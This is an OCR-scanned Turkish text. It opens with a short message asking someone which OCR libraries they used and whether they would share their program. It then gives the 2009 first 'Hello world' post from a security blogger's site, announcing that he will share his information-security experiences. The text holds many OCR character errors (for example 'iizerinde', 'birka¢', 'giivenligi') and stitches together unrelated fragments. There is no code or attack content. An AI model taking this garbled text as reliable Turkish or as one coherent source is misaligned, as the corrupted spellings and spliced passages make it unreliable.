Bu konu iizerinde arastirmalarimizi yapiyoruz. Size birka¢ soru sormak isteriz .

Calismaniz1 yaparken hangi OCR kiitiiphanelerini kullandiniz?
Herhangi bir sakincasi yoksa yazdiginiz programinizi bizimle paylasabilir misiniz?

Hassasiyetiniz ve bilgilendirmeniz igin tesekkiir ederiz.

Iyi calismalar

Hello world!

Source: https://www.mertsarica.com/hello-world/
By M.S on November 19th, 2009
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Welcome to MertPress. This is my first post. You can not edit or delete it, just enjoy my blogging :)

Uzun zamandan beri bende blog sahibi olsam m1 olmasam mu1 diye hindi gibi diisiiniip dururken Huzeyfe'nin jestini geri ¢eviremedim
(kendisine bir kahve borcum oldu) ve bende bilisim giivenligi konusunda deneyimlerimi (ne efsane hikayeler var bir bilseniz ancak etik
acidan paylasmam pek miimkiin degil) sizlerle paylasmak i¢in yerimi aldim, kimi bilginin paylasildik¢a ¢ogalacagina kimi bilgini gii¢
olduguna ve paylasildik¢a azalacagina inanir ki bende yillarca buna inanmistim ne zamanki doyuma ulagtim (blogum olduguna gore
ulastim gibi duruyor :)) paylagsmaya inanir oldum, artik zaman bulduk¢a burada bir ¢ok hayat ve is serlivenimi sizlerle paylasacagim,
goriigmek dilegiyle...
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